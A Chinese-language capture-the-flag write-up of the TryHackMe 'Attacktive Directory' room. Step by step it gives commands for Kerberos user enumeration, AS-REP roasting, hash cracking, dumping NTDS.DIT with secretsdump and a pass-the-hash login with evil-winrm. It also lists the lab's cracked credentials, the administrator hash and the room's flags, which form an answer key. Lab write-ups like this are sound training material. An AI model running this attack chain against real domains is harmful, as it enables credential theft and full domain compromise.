在THM上启动机器
连接openvpn
nohup openvpn mssnharvey.ovpn &
查看下IP是10.18.98.53
再ping一下攻击的IP进行测试
安装 Impacket
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ && python3 ./setup.py install
# 仍有问题,可以按下面的命令进行安装
sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/
sudo pip3 install .
sudo python3 setup.py install
安装 Bloodhound 和 Neo4j
apt install bloodhound neo4j
# 出现问题的话可以apt update && apt upgrade再安装
先用nmap扫一下发现开了DNS、IIS、Kerberos、RPC、netbios、Active Directory等服务
nmap -sV -T4 -p- -d --script=vuln 10.10.230.224
# 后面网上搜到这样扫描效果更好一些
nmap -sV -sC -oN nmap.out 10.10.230.224
问题1:什么工具可以让我们枚举端口 139/445?
回答:SMB会使用到139和445端口,而枚举SMB的工具则是enum4linux
问题2:机器的 NetBIOS 域名是什么?
回答:根据enum4linux可知是THM-AD,多次提到了NetBIOS 域名
在THM上开的AttackBox得到的信息要更多一些
问题3:人们通常将哪些无效 TLD 用于其 Active Directory 域?
回答:TLD代表顶级域,这里我们可以在前面namp扫描的结果中看到3389端口中提到的AD域
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-29T06:55:55+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-12-28T06:48:43
|_Not valid after: 2023-06-29T06:48:43
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
问题1:Kerbrute 中的什么命令可以让我们枚举有效的用户名?
回答:userenum,具体可查看:https://github.com/ropnop/kerbrute
问题2:发现了哪些值得注意的帐户?(这些应该会跳出来)
回答:svc-admin(这VPN属实是太卡了😒全跑完得大半天
# userlist下载地址:https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt
./kerbrute_linux_amd64 userenum --dc 10.10.230.224 -d spookysec.local userlist.txt -t 100
问题3:发现的其他值得注意的帐户是什么?(这些应该会跳出来)
回答:backup
问题1:我们有两个用户帐户,我们可以从中查询票证。您可以在没有密码的情况下从哪个用户帐户查询票证?
回答:svc-admin
利用impacket中的GetNPUsers脚本
python GetNPUsers.py -no-pass -usersfile /root/users.txt -dc-ip 10.10.230.224 spooky.local/
python GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip 10.10.230.224
只有svc-admin可以在不需要提供密码的情况下请求票证
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:408ee4a3e91ec877b931d35c56364c77$63dc9e093d6f3ddfd0074033786ed4d4d6e5f3e9f27be7f98866c0c91c4271c6c8a721eafa9e343a2b9638da64fe71d7563c31e51e6aac0686ba9025ab8ff2d41b8b24f38888cd803c70568744a12daa95cca16b73fa6bc5b20f1fb697b29fd1fe39fa0553ae07ad7e6e2f5232e306ee2abf3ee2ba8ebc704bc96f0d60cd245f96f4caa7c20c3a673fba2b25a384593b01e334560348a146d9168e1fc594b8c59e11382193bd2b3f1c421f9d5fdc61167c8f3bfa18d60fc6fca79923c16b707927719330363b593c28ccc0c7dd2c5e7696b43d45a4bc016341f773805c53f51d2b6ae4a0fa3c3280a18a9d53d9b5fd08337c
问题2:查看 Hashcat Examples Wiki 页面,我们从 KDC 检索了哪种类型的 Kerberos 哈希?(写明全名)
hint:https://hashcat.net/wiki/doku.php?id=example_hashes 搜索第一部分会有帮助!
回答:搜索一下$krb5asrep
可知其Hash-Mode是18200,对应的Hash-Name是Kerberos 5, etype 23, AS-REP
问题3:hash是什么模式?
回答:从上可知是18200
问题4:现在用提供的修改后的密码列表破解哈希,用户帐户密码是什么?
回答:hashcat或者john爆破一下得到密码management2005
# passwordlist下载地址:https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt
hashcat -m 18200 hash.txt /root/Aattacktive-Directory-tools/passwordlist.txt
john kerbhash --wordlist=/root/Aattacktive-Directory-tools/passwordlist.txt
问题1:我们可以使用什么实用程序来映射远程 SMB 共享?
回答:smbclient
问题2:哪个选项将list shares?
回答:运行一下man smbclient可知是-L
-L|--list
This option allows you to look at what services are available on a server. You use it as smbclient -L host and a list should appear. The -I option may be useful if your NetBIOS names don't match your TCP/IP DNS host names or if you are trying to reach a host on another network.
问题3:服务器列出了多少个远程共享?
回答:6
smbclient -L 10.10.230.224 -U svc-admin
问题4:我们可以访问一个特定的共享,其中包含一个文本文件。是哪个份额?
回答:backup
smbclient \\\\10.10.230.224\\backup -U svc-admin
问题5:文件的内容是什么?
回答:YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
这里没法直接cat得到内容,所以我们通过get下载文件再查看
get backup_credentials.txt
问题6:解码文件内容,完整内容是什么?
回答:很明显看的出是base64,解码得到backup@spookysec.local:backup2517860
问题1:什么方法允许我们转储 NTDS.DIT?
hint:阅读 secretsdump 输出!
回答:DRSUAPI
python secretsdump.py spookysec.local/backup:backup2517860@10.10.230.224
python secretsdump.py -just-dc backup@10.10.230.224
问题2:什么是管理员 NTLM 哈希?
回答:0e0363213e37b94221497260b0bcb4fc
问题3:什么攻击方法可以让我们在没有密码的情况下以用户身份进行身份验证?
回答:Pass the hash
问题4:使用名为 Evil-WinRM 的工具,什么选项可以让我们使用哈希?
回答:-H
问题1:svc-admin
回答:TryHackMe{K3rb3r0s_Pr3_4uth}
这里我们就直接通过evil-winrm登录管理员用户然后通过切换用户目录来获取flag
evil-winrm -i 10.10.230.224 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
cd C:\Users\svc-admin\Desktop
dir
cat user.txt.txt
问题2:backup
回答:TryHackMe{B4ckM3UpSc0tty!}
问题3:Administrator
回答:TryHackMe{4ctiveD1rectoryM4st3r}
再把前面任务1和2点下提交就完工啦🎉